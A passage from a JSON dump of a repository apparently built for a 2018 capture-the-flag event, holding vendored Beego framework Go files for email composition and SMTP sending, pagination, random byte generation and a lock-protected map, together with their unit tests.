(optional)\n\tHTML        string // Html message (optional)\n\tHeaders     textproto.MIMEHeader\n\tAttachments []*Attachment\n\tReadReceipt []string\n}\n\n// Attachment is a struct representing an email attachment.\n// Based on the mime/multipart.FileHeader struct, Attachment contains the name, MIMEHeader, and content of the attachment in question\ntype Attachment struct {\n\tFilename string\n\tHeader   textproto.MIMEHeader\n\tContent  []byte\n}\n\n// NewEMail create new Email struct with config json.\n// config json is followed from Email struct fields.\nfunc NewEMail(config string) *Email {\n\te := new(Email)\n\te.Headers = textproto.MIMEHeader{}\n\terr := json.Unmarshal([]byte(config), e)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn e\n}\n\n// Bytes Make all send information to byte\nfunc (e *Email) Bytes() ([]byte, error) {\n\tbuff := &bytes.Buffer{}\n\tw := multipart.NewWriter(buff)\n\t// Set the appropriate headers (overwriting any conflicts)\n\t// Leave out Bcc (only included in envelope headers)\n\te.Headers.Set(\"To\", strings.Join(e.To, \",\"))\n\tif e.Cc != nil {\n\t\te.Headers.Set(\"Cc\", strings.Join(e.Cc, \",\"))\n\t}\n\te.Headers.Set(\"From\", e.From)\n\te.Headers.Set(\"Subject\", e.Subject)\n\tif len(e.ReadReceipt) != 0 {\n\t\te.Headers.Set(\"Disposition-Notification-To\", strings.Join(e.ReadReceipt, \",\"))\n\t}\n\te.Headers.Set(\"MIME-Version\", \"1.0\")\n\n\t// Write the envelope headers (including any custom headers)\n\tif err := headerToBytes(buff, e.Headers); err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to render message headers: %s\", err)\n\t}\n\n\te.Headers.Set(\"Content-Type\", fmt.Sprintf(\"multipart/mixed;\\r\\n boundary=%s\\r\\n\", w.Boundary()))\n\tfmt.Fprintf(buff, \"%s:\", \"Content-Type\")\n\tfmt.Fprintf(buff, \" %s\\r\\n\", fmt.Sprintf(\"multipart/mixed;\\r\\n boundary=%s\\r\\n\", w.Boundary()))\n\n\t// Start the multipart/mixed part\n\tfmt.Fprintf(buff, \"--%s\\r\\n\", w.Boundary())\n\theader := textproto.MIMEHeader{}\n\t// Check to see if there is a Text or HTML field\n\tif e.Text != \"\" || e.HTML != \"\" {\n\t\tsubWriter := multipart.NewWriter(buff)\n\t\t// Create the multipart alternative part\n\t\theader.Set(\"Content-Type\", fmt.Sprintf(\"multipart/alternative;\\r\\n boundary=%s\\r\\n\", subWriter.Boundary()))\n\t\t// Write the header\n\t\tif err := headerToBytes(buff, header); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Failed to render multipart message headers: %s\", err)\n\t\t}\n\t\t// Create the body sections\n\t\tif e.Text != \"\" {\n\t\t\theader.Set(\"Content-Type\", fmt.Sprintf(\"text/plain; charset=UTF-8\"))\n\t\t\theader.Set(\"Content-Transfer-Encoding\", \"quoted-printable\")\n\t\t\tif _, err := subWriter.CreatePart(header); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\t// Write the text\n\t\t\tif err := quotePrintEncode(buff, e.Text); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tif e.HTML != \"\" {\n\t\t\theader.Set(\"Content-Type\", fmt.Sprintf(\"text/html; charset=UTF-8\"))\n\t\t\theader.Set(\"Content-Transfer-Encoding\", \"quoted-printable\")\n\t\t\tif _, err := subWriter.CreatePart(header); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\t// Write the text\n\t\t\tif err := quotePrintEncode(buff, e.HTML); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tif err := subWriter.Close(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\t// Create attachment part, if necessary\n\tfor _, a := range e.Attachments {\n\t\tap, err := w.CreatePart(a.Header)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// Write the base64Wrapped content to the part\n\t\tbase64Wrap(ap, a.Content)\n\t}\n\tif err := w.Close(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buff.Bytes(), nil\n}\n\n// AttachFile Add attach file to the send mail\nfunc (e *Email) AttachFile(args ...string) (a *Attachment, err error) {\n\tif len(args) < 1 && len(args) > 2 {\n\t\terr = errors.New(\"Must specify a file name and number of parameters can not exceed at least two\")\n\t\treturn\n\t}\n\tfilename := args[0]\n\tid := \"\"\n\tif len(args) > 1 {\n\t\tid = args[1]\n\t}\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn\n\t}\n\tct := mime.TypeByExtension(filepath.Ext(filename))\n\tbasename := path.Base(filename)\n\treturn e.Attach(f, basename, ct, id)\n}\n\n// Attach is used to attach content from an io.Reader to the email.\n// Parameters include an io.Reader, the desired filename for the attachment, and the Content-Type.\nfunc (e *Email) Attach(r io.Reader, filename string, args ...string) (a *Attachment, err error) {\n\tif len(args) < 1 && len(args) > 2 {\n\t\terr = errors.New(\"Must specify the file type and number of parameters can not exceed at least two\")\n\t\treturn\n\t}\n\tc := args[0] //Content-Type\n\tid := \"\"\n\tif len(args) > 1 {\n\t\tid = args[1] //Content-ID\n\t}\n\tvar buffer bytes.Buffer\n\tif _, err = io.Copy(&buffer, r); err != nil {\n\t\treturn\n\t}\n\tat := &Attachment{\n\t\tFilename: filename,\n\t\tHeader:   textproto.MIMEHeader{},\n\t\tContent:  buffer.Bytes(),\n\t}\n\t// Get the Content-Type to be used in the MIMEHeader\n\tif c != \"\" {\n\t\tat.Header.Set(\"Content-Type\", c)\n\t} else {\n\t\t// If the Content-Type is blank, set the Content-Type to \"application/octet-stream\"\n\t\tat.Header.Set(\"Content-Type\", \"application/octet-stream\")\n\t}\n\tif id != \"\" {\n\t\tat.Header.Set(\"Content-Disposition\", fmt.Sprintf(\"inline;\\r\\n filename=\\\"%s\\\"\", filename))\n\t\tat.Header.Set(\"Content-ID\", fmt.Sprintf(\"<%s>\", id))\n\t} else {\n\t\tat.Header.Set(\"Content-Disposition\", fmt.Sprintf(\"attachment;\\r\\n filename=\\\"%s\\\"\", filename))\n\t}\n\tat.Header.Set(\"Content-Transfer-Encoding\", \"base64\")\n\te.Attachments = append(e.Attachments, at)\n\treturn at, nil\n}\n\n// Send will send out the mail\nfunc (e *Email) Send() error {\n\tif e.Auth == nil {\n\t\te.Auth = smtp.PlainAuth(e.Identity, e.Username, e.Password, e.Host)\n\t}\n\t// Merge the To, Cc, and Bcc fields\n\tto := make([]string, 0, len(e.To)+len(e.Cc)+len(e.Bcc))\n\tto = append(append(append(to, e.To...), e.Cc...), e.Bcc...)\n\t// Check to make sure there is at least one recipient and one \"From\" address\n\tif len(to) == 0 {\n\t\treturn errors.New(\"Must specify at least one To address\")\n\t}\n\n\t// Use the username if no From is provided\n\tif len(e.From) == 0 {\n\t\te.From = e.Username\n\t}\n\n\tfrom, err := mail.ParseAddress(e.From)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// use mail's RFC 2047 to encode any string\n\te.Subject = qEncode(\"utf-8\", e.Subject)\n\n\traw, err := e.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn smtp.SendMail(e.Host+\":\"+strconv.Itoa(e.Port), e.Auth, from.Address, to, raw)\n}\n\n// quotePrintEncode writes the quoted-printable text to the IO Writer (according to RFC 2045)\nfunc quotePrintEncode(w io.Writer, s string) error {\n\tvar buf [3]byte\n\tmc := 0\n\tfor i := 0; i < len(s); i++ {\n\t\tc := s[i]\n\t\t// We're assuming Unix style text formats as input (LF line break), and\n\t\t// quoted-printble uses CRLF line breaks. (Literal CRs will become\n\t\t// \"=0D\", but probably shouldn't be there to begin with!)\n\t\tif c == '\\n' {\n\t\t\tio.WriteString(w, \"\\r\\n\")\n\t\t\tmc = 0\n\t\t\tcontinue\n\t\t}\n\n\t\tvar nextOut []byte\n\t\tif isPrintable(c) {\n\t\t\tnextOut = append(buf[:0], c)\n\t\t} else {\n\t\t\tnextOut = buf[:]\n\t\t\tqpEscape(nextOut, c)\n\t\t}\n\n\t\t// Add a soft line break if the next (encoded) byte would push this line\n\t\t// to or past the limit.\n\t\tif mc+len(nextOut) >= maxLineLength {\n\t\t\tif _, err := io.WriteString(w, \"=\\r\\n\"); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tmc = 0\n\t\t}\n\n\t\tif _, err := w.Write(nextOut); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tmc += len(nextOut)\n\t}\n\t// No trailing end-of-line?? Soft line break, then. TODO: is this sane?\n\tif mc > 0 {\n\t\tio.WriteString(w, \"=\\r\\n\")\n\t}\n\treturn nil\n}\n\n// isPrintable returns true if the rune given is \"printable\" according to RFC 2045, false otherwise\nfunc isPrintable(c byte) bool {\n\treturn (c >= '!' && c <= '<') || (c >= '>' && c <= '~') || (c == ' ' || c == '\\n' || c == '\\t')\n}\n\n// qpEscape is a helper function for quotePrintEncode which escapes a\n// non-printable byte. Expects len(dest) == 3.\nfunc qpEscape(dest []byte, c byte) {\n\tconst nums = \"0123456789ABCDEF\"\n\tdest[0] = '='\n\tdest[1] = nums[(c&0xf0)>>4]\n\tdest[2] = nums[(c & 0xf)]\n}\n\n// headerToBytes enumerates the key and values in the header, and writes the results to the IO Writer\nfunc headerToBytes(w io.Writer, t textproto.MIMEHeader) error {\n\tfor k, v := range t {\n\t\t// Write the header key\n\t\t_, err := fmt.Fprintf(w, \"%s:\", k)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Write each value in the header\n\t\tfor _, c := range v {\n\t\t\t_, err := fmt.Fprintf(w, \" %s\\r\\n\", c)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// base64Wrap encodes the attachment content, and wraps it according to RFC 2045 standards (every 76 chars)\n// The output is then written to the specified io.Writer\nfunc base64Wrap(w io.Writer, b []byte) {\n\t// 57 raw bytes per 76-byte base64 line.\n\tconst maxRaw = 57\n\t// Buffer for each line, including trailing CRLF.\n\tvar buffer [maxLineLength + len(\"\\r\\n\")]byte\n\tcopy(buffer[maxLineLength:], \"\\r\\n\")\n\t// Process raw chunks until there's no longer enough to fill a line.\n\tfor len(b) >= maxRaw {\n\t\tbase64.StdEncoding.Encode(buffer[:], b[:maxRaw])\n\t\tw.Write(buffer[:])\n\t\tb = b[maxRaw:]\n\t}\n\t// Handle the last chunk of bytes.\n\tif len(b) > 0 {\n\t\tout := buffer[:base64.StdEncoding.EncodedLen(len(b))]\n\t\tbase64.StdEncoding.Encode(out, b)\n\t\tout = append(out, \"\\r\\n\"...)\n\t\tw.Write(out)\n\t}\n}\n\n// Encode returns the encoded-word form of s. If s is ASCII without special\n// characters, it is returned unchanged. The provided charset is the IANA\n// charset name of s. It is case insensitive.\n// RFC 2047 encoded-word\nfunc qEncode(charset, s string) string {\n\tif !needsEncoding(s) {\n\t\treturn s\n\t}\n\treturn encodeWord(charset, s)\n}\n\nfunc needsEncoding(s string) bool {\n\tfor _, b := range s {\n\t\tif (b < ' ' || b > '~') && b != '\\t' {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// encodeWord encodes a string into an encoded-word.\nfunc encodeWord(charset, s string) string {\n\tbuf := getBuffer()\n\n\tbuf.WriteString(\"=?\")\n\tbuf.WriteString(charset)\n\tbuf.WriteByte('?')\n\tbuf.WriteByte('q')\n\tbuf.WriteByte('?')\n\n\tenc := make([]byte, 3)\n\tfor i := 0; i < len(s); i++ {\n\t\tb := s[i]\n\t\tswitch {\n\t\tcase b == ' ':\n\t\t\tbuf.WriteByte('_')\n\t\tcase b <= '~' && b >= '!' && b != '=' && b != '?' && b != '_':\n\t\t\tbuf.WriteByte(b)\n\t\tdefault:\n\t\t\tenc[0] = '='\n\t\t\tenc[1] = upperhex[b>>4]\n\t\t\tenc[2] = upperhex[b&0x0f]\n\t\t\tbuf.Write(enc)\n\t\t}\n\t}\n\tbuf.WriteString(\"?=\")\n\n\tes := buf.String()\n\tputBuffer(buf)\n\treturn es\n}\n\nvar bufPool = sync.Pool{\n\tNew: func() interface{} {\n\t\treturn new(bytes.Buffer)\n\t},\n}\n\nfunc getBuffer() *bytes.Buffer {\n\treturn bufPool.Get().(*bytes.Buffer)\n}\n\nfunc putBuffer(buf *bytes.Buffer) {\n\tif buf.Len() > 1024 {\n\t\treturn\n\t}\n\tbuf.Reset()\n\tbufPool.Put(buf)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/mail_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport \"testing\"\n\nfunc TestMail(t *testing.T) {\n\tconfig := `{\"username\":\"astaxie@gmail.com\",\"password\":\"astaxie\",\"host\":\"smtp.gmail.com\",\"port\":587}`\n\tmail := NewEMail(config)\n\tif mail.Username != \"astaxie@gmail.com\" {\n\t\tt.Fatal(\"email parse get username error\")\n\t}\n\tif mail.Password != \"astaxie\" {\n\t\tt.Fatal(\"email parse get password error\")\n\t}\n\tif mail.Host != \"smtp.gmail.com\" {\n\t\tt.Fatal(\"email parse get host error\")\n\t}\n\tif mail.Port != 587 {\n\t\tt.Fatal(\"email parse get port error\")\n\t}\n\tmail.To = []string{\"xiemengjun@gmail.com\"}\n\tmail.From = \"astaxie@gmail.com\"\n\tmail.Subject = \"hi, just from beego!\"\n\tmail.Text = \"Text Body is, of course, supported!\"\n\tmail.HTML = \"<h1>Fancy Html is supported, too!</h1>\"\n\tmail.AttachFile(\"/Users/astaxie/github/beego/beego.go\")\n\tmail.Send()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/controller.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage pagination\n\nimport (\n\t\"github.com/astaxie/beego/context\"\n)\n\n// SetPaginator Instantiates a Paginator and assigns it to context.Input.Data(\"paginator\").\nfunc SetPaginator(context *context.Context, per int, nums int64) (paginator *Paginator) {\n\tpaginator = NewPaginator(context.Request, per, nums)\n\tcontext.Input.SetData(\"paginator\", &paginator)\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/doc.go",
    "content": "/*\nPackage pagination provides utilities to setup a paginator within the\ncontext of a http request.\n\nUsage\n\nIn your beego.Controller:\n\n package controllers\n\n import \"github.com/astaxie/beego/utils/pagination\"\n\n type PostsController struct {\n   beego.Controller\n }\n\n func (this *PostsController) ListAllPosts() {\n     // sets this.Data[\"paginator\"] with the current offset (from the url query param)\n     postsPerPage := 20\n     paginator := pagination.SetPaginator(this.Ctx, postsPerPage, CountPosts())\n\n     // fetch the next 20 posts\n     this.Data[\"posts\"] = ListPostsByOffsetAndLimit(paginator.Offset(), postsPerPage)\n }\n\n\nIn your view templates:\n\n {{if .paginator.HasPages}}\n <ul class=\"pagination pagination\">\n     {{if .paginator.HasPrev}}\n         <li><a href=\"{{.paginator.PageLinkFirst}}\">{{ i18n .Lang \"paginator.first_page\"}}</a></li>\n         <li><a href=\"{{.paginator.PageLinkPrev}}\">&laquo;</a></li>\n     {{else}}\n         <li class=\"disabled\"><a>{{ i18n .Lang \"paginator.first_page\"}}</a></li>\n         <li class=\"disabled\"><a>&laquo;</a></li>\n     {{end}}\n     {{range $index, $page := .paginator.Pages}}\n         <li{{if $.paginator.IsActive .}} class=\"active\"{{end}}>\n             <a href=\"{{$.paginator.PageLink $page}}\">{{$page}}</a>\n         </li>\n     {{end}}\n     {{if .paginator.HasNext}}\n         <li><a href=\"{{.paginator.PageLinkNext}}\">&raquo;</a></li>\n         <li><a href=\"{{.paginator.PageLinkLast}}\">{{ i18n .Lang \"paginator.last_page\"}}</a></li>\n     {{else}}\n         <li class=\"disabled\"><a>&raquo;</a></li>\n         <li class=\"disabled\"><a>{{ i18n .Lang \"paginator.last_page\"}}</a></li>\n     {{end}}\n </ul>\n {{end}}\n\nSee also\n\nhttp://beego.me/docs/mvc/view/page.md\n\n*/\npackage pagination\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/paginator.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage pagination\n\nimport (\n\t\"math\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n)\n\n// Paginator within the state of a http request.\ntype Paginator struct {\n\tRequest     *http.Request\n\tPerPageNums int\n\tMaxPages    int\n\n\tnums      int64\n\tpageRange []int\n\tpageNums  int\n\tpage      int\n}\n\n// PageNums Returns the total number of pages.\nfunc (p *Paginator) PageNums() int {\n\tif p.pageNums != 0 {\n\t\treturn p.pageNums\n\t}\n\tpageNums := math.Ceil(float64(p.nums) / float64(p.PerPageNums))\n\tif p.MaxPages > 0 {\n\t\tpageNums = math.Min(pageNums, float64(p.MaxPages))\n\t}\n\tp.pageNums = int(pageNums)\n\treturn p.pageNums\n}\n\n// Nums Returns the total number of items (e.g. from doing SQL count).\nfunc (p *Paginator) Nums() int64 {\n\treturn p.nums\n}\n\n// SetNums Sets the total number of items.\nfunc (p *Paginator) SetNums(nums interface{}) {\n\tp.nums, _ = toInt64(nums)\n}\n\n// Page Returns the current page.\nfunc (p *Paginator) Page() int {\n\tif p.page != 0 {\n\t\treturn p.page\n\t}\n\tif p.Request.Form == nil {\n\t\tp.Request.ParseForm()\n\t}\n\tp.page, _ = strconv.Atoi(p.Request.Form.Get(\"p\"))\n\tif p.page > p.PageNums() {\n\t\tp.page = p.PageNums()\n\t}\n\tif p.page <= 0 {\n\t\tp.page = 1\n\t}\n\treturn p.page\n}\n\n// Pages Returns a list of all pages.\n//\n// Usage (in a view template):\n//\n//  {{range $index, $page := .paginator.Pages}}\n//    <li{{if $.paginator.IsActive .}} class=\"active\"{{end}}>\n//      <a href=\"{{$.paginator.PageLink $page}}\">{{$page}}</a>\n//    </li>\n//  {{end}}\nfunc (p *Paginator) Pages() []int {\n\tif p.pageRange == nil && p.nums > 0 {\n\t\tvar pages []int\n\t\tpageNums := p.PageNums()\n\t\tpage := p.Page()\n\t\tswitch {\n\t\tcase page >= pageNums-4 && pageNums > 9:\n\t\t\tstart := pageNums - 9 + 1\n\t\t\tpages = make([]int, 9)\n\t\t\tfor i := range pages {\n\t\t\t\tpages[i] = start + i\n\t\t\t}\n\t\tcase page >= 5 && pageNums > 9:\n\t\t\tstart := page - 5 + 1\n\t\t\tpages = make([]int, int(math.Min(9, float64(page+4+1))))\n\t\t\tfor i := range pages {\n\t\t\t\tpages[i] = start + i\n\t\t\t}\n\t\tdefault:\n\t\t\tpages = make([]int, int(math.Min(9, float64(pageNums))))\n\t\t\tfor i := range pages {\n\t\t\t\tpages[i] = i + 1\n\t\t\t}\n\t\t}\n\t\tp.pageRange = pages\n\t}\n\treturn p.pageRange\n}\n\n// PageLink Returns URL for a given page index.\nfunc (p *Paginator) PageLink(page int) string {\n\tlink, _ := url.ParseRequestURI(p.Request.URL.String())\n\tvalues := link.Query()\n\tif page == 1 {\n\t\tvalues.Del(\"p\")\n\t} else {\n\t\tvalues.Set(\"p\", strconv.Itoa(page))\n\t}\n\tlink.RawQuery = values.Encode()\n\treturn link.String()\n}\n\n// PageLinkPrev Returns URL to the previous page.\nfunc (p *Paginator) PageLinkPrev() (link string) {\n\tif p.HasPrev() {\n\t\tlink = p.PageLink(p.Page() - 1)\n\t}\n\treturn\n}\n\n// PageLinkNext Returns URL to the next page.\nfunc (p *Paginator) PageLinkNext() (link string) {\n\tif p.HasNext() {\n\t\tlink = p.PageLink(p.Page() + 1)\n\t}\n\treturn\n}\n\n// PageLinkFirst Returns URL to the first page.\nfunc (p *Paginator) PageLinkFirst() (link string) {\n\treturn p.PageLink(1)\n}\n\n// PageLinkLast Returns URL to the last page.\nfunc (p *Paginator) PageLinkLast() (link string) {\n\treturn p.PageLink(p.PageNums())\n}\n\n// HasPrev Returns true if the current page has a predecessor.\nfunc (p *Paginator) HasPrev() bool {\n\treturn p.Page() > 1\n}\n\n// HasNext Returns true if the current page has a successor.\nfunc (p *Paginator) HasNext() bool {\n\treturn p.Page() < p.PageNums()\n}\n\n// IsActive Returns true if the given page index points to the current page.\nfunc (p *Paginator) IsActive(page int) bool {\n\treturn p.Page() == page\n}\n\n// Offset Returns the current offset.\nfunc (p *Paginator) Offset() int {\n\treturn (p.Page() - 1) * p.PerPageNums\n}\n\n// HasPages Returns true if there is more than one page.\nfunc (p *Paginator) HasPages() bool {\n\treturn p.PageNums() > 1\n}\n\n// NewPaginator Instantiates a paginator struct for the current http request.\nfunc NewPaginator(req *http.Request, per int, nums interface{}) *Paginator {\n\tp := Paginator{}\n\tp.Request = req\n\tif per <= 0 {\n\t\tper = 10\n\t}\n\tp.PerPageNums = per\n\tp.SetNums(nums)\n\treturn &p\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/pagination/utils.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage pagination\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n)\n\n// ToInt64 convert any numeric value to int64\nfunc toInt64(value interface{}) (d int64, err error) {\n\tval := reflect.ValueOf(value)\n\tswitch value.(type) {\n\tcase int, int8, int16, int32, int64:\n\t\td = val.Int()\n\tcase uint, uint8, uint16, uint32, uint64:\n\t\td = int64(val.Uint())\n\tdefault:\n\t\terr = fmt.Errorf(\"ToInt64 need numeric not `%T`\", value)\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/rand.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"crypto/rand\"\n\tr \"math/rand\"\n\t\"time\"\n)\n\nvar alphaNum = []byte(`0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz`)\n\n// RandomCreateBytes generate random []byte by specify chars.\nfunc RandomCreateBytes(n int, alphabets ...byte) []byte {\n\tif len(alphabets) == 0 {\n\t\talphabets = alphaNum\n\t}\n\tvar bytes = make([]byte, n)\n\tvar randBy bool\n\tif num, err := rand.Read(bytes); num != n || err != nil {\n\t\tr.Seed(time.Now().UnixNano())\n\t\trandBy = true\n\t}\n\tfor i, b := range bytes {\n\t\tif randBy {\n\t\t\tbytes[i] = alphabets[r.Intn(len(alphabets))]\n\t\t} else {\n\t\t\tbytes[i] = alphabets[b%byte(len(alphabets))]\n\t\t}\n\t}\n\treturn bytes\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/rand_test.go",
    "content": "// Copyright 2016 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport \"testing\"\n\nfunc TestRand_01(t *testing.T) {\n\tbs0 := RandomCreateBytes(16)\n\tbs1 := RandomCreateBytes(16)\n\n\tt.Log(string(bs0), string(bs1))\n\tif string(bs0) == string(bs1) {\n\t\tt.FailNow()\n\t}\n\n\tbs0 = RandomCreateBytes(4, []byte(`a`)...)\n\n\tif string(bs0) != \"aaaa\" {\n\t\tt.FailNow()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/safemap.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"sync\"\n)\n\n// BeeMap is a map with lock\ntype BeeMap struct {\n\tlock *sync.RWMutex\n\tbm   map[interface{}]interface{}\n}\n\n// NewBeeMap return new safemap\nfunc NewBeeMap() *BeeMap {\n\treturn &BeeMap{\n\t\tlock: new(sync.RWMutex),\n\t\tbm:   make(map[interface{}]interface{}),\n\t}\n}\n\n// Get from maps return the k's value\nfunc (m *BeeMap) Get(k interface{}) interface{} {\n\tm.lock.RLock()\n\tdefer m.lock.RUnlock()\n\tif val, ok := m.bm[k]; ok {\n\t\treturn val\n\t}\n\treturn nil\n}\n\n// Set Maps the given key and value. Returns false\n// if the key is already in the map and changes nothing.\nfunc (m *BeeMap) Set(k interface{}, v interface{}) bool {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\tif val, ok := m.bm[k]; !ok {\n\t\tm.bm[k] = v\n\t} else if val != v {\n\t\tm.bm[k] = v\n\t} else {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// Check Returns true if k is exist in the map.\nfunc (m *BeeMap) Check(k interface{}) bool {\n\tm.lock.RLock()\n\tdefer m.lock.RUnlock()\n\t_, ok := m.bm[k]\n\treturn ok\n}\n\n// Delete the given key and value.\nfunc (m *BeeMap) Delete(k interface{}) {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\tdelete(m.bm, k)\n}\n\n// Items returns all items in safemap.\nfunc (m *BeeMap) Items() map[interface{}]interface{} {\n\tm.lock.RLock()\n\tdefer m.lock.RUnlock()\n\tr := make(map[interface{}]interface{})\n\tfor k, v := range m.bm {\n\t\tr[k] = v\n\t}\n\treturn r\n}\n\n// Count returns the number of items within the map.\nfunc (m *BeeMap) Count() int {\n\tm.lock.RLock()\n\tdefer m.lock.RUnlock()\n\treturn len(m.bm)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/safemap_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport \"testing\"\n\nvar safeMap *BeeMap\n\nfunc TestNewBeeMap(t *testing.T) {\n\tsafeMap = NewBeeMap()\n\tif safeMap == nil {\n\t\tt.Fatal(\"expected to return non-nil BeeMap\", \"got\", safeMap)\n\t}\n}\n\nfunc TestSet(t *testing.T) {\n\tif ok := safeMap.Set(\"astaxie\", 1); !ok {\n\t\tt.Error(\"expected\", true, \"got\", false)\n\t}\n}\n\nfunc TestReSet(t *testing.T) {\n\tsafeMap := NewBeeMap()\n\tif ok := safeMap.Set(\"astaxie\", 1); !ok {\n\t\tt.Error(\"expected\", true, \"got\", false)\n\t}\n\t// set diff value\n\tif ok := safeMap.Set(\"astaxie\", -1); !ok {\n\t\tt.Error(\"expected\", true, \"got\", false)\n\t}\n\n\t// set same value\n\tif ok := safeMap.Set(\"astaxie\", -1); ok {\n\t\tt.Error(\"expected\", false, \"got\", true)\n\t}\n}\n\nfunc TestCheck(t *testing.T) {\n\tif exists := safeMap.Check(\"astaxie\"); !exists {\n\t\tt.Error(\"expected\", true, \"got\", 